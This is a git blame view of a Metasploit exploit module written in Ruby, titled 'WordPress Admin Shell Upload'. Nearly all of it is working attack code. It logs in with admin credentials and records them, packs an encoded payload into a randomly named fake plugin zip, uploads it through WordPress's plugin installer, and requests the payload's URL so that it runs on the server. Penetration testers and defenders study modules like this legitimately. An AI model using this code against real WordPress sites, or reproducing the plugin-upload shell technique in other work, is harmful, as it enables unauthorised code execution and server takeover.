Files
metasploit-gs/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

103 lines
3.3 KiB
Ruby
Raw Normal View History

2015-02-21 01:31:33 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-02-21 01:31:33 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-02-21 01:31:33 +00:00
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
2015-10-15 11:47:13 -05:00
include Msf::Exploit::Remote::HTTP::Wordpress
2015-02-21 01:31:33 +00:00
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Admin Shell Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running WordPress provided valid
2015-02-21 01:31:33 +00:00
admin credentials are used.
},
'License' => MSF_LICENSE,
'Author' =>
[
2018-10-01 18:59:09 +01:00
'rastating' # Metasploit module
2015-02-21 01:31:33 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2015-02-21',
2015-02-21 01:31:33 +00:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
2015-02-21 01:31:33 +00:00
end
2017-04-18 16:32:06 -05:00
def check
cookie = wordpress_login(username, password)
if cookie.nil?
return CheckCode::Safe
end
store_valid_credential(user: username, private: password, proof: cookie)
2017-04-18 16:32:06 -05:00
CheckCode::Appears
end
2015-02-21 01:31:33 +00:00
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def generate_plugin(plugin_name, payload_name)
plugin_script = %Q{<?php
/**
2015-02-21 01:41:29 +00:00
* Plugin Name: #{plugin_name}
2015-02-21 12:53:33 +00:00
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
2015-02-21 01:31:33 +00:00
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>}
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
2015-02-21 12:53:33 +00:00
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
2015-02-21 01:31:33 +00:00
zip
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
2016-02-01 15:12:03 -06:00
print_status("Authenticating with WordPress using #{username}:#{password}...")
2015-02-21 01:31:33 +00:00
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
2016-02-01 15:12:03 -06:00
print_good("Authenticated with WordPress")
store_valid_credential(user: username, private: password, proof: cookie)
2015-02-21 01:31:33 +00:00
2016-02-01 15:12:03 -06:00
print_status("Preparing payload...")
2015-02-21 01:31:33 +00:00
plugin_name = Rex::Text.rand_text_alpha(10)
2015-02-21 12:53:33 +00:00
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
2015-02-21 01:31:33 +00:00
zip = generate_plugin(plugin_name, payload_name)
2016-02-01 15:12:03 -06:00
print_status("Uploading payload...")
2015-02-21 01:31:33 +00:00
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
2016-02-01 15:12:03 -06:00
print_status("Executing the payload at #{payload_uri}...")
2015-02-21 12:53:33 +00:00
register_files_for_cleanup("#{payload_name}.php")
2015-02-21 01:31:33 +00:00
register_files_for_cleanup("#{plugin_name}.php")
2018-01-15 14:48:59 +01:00
register_dir_for_cleanup("../#{plugin_name}")
2015-02-21 01:31:33 +00:00
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end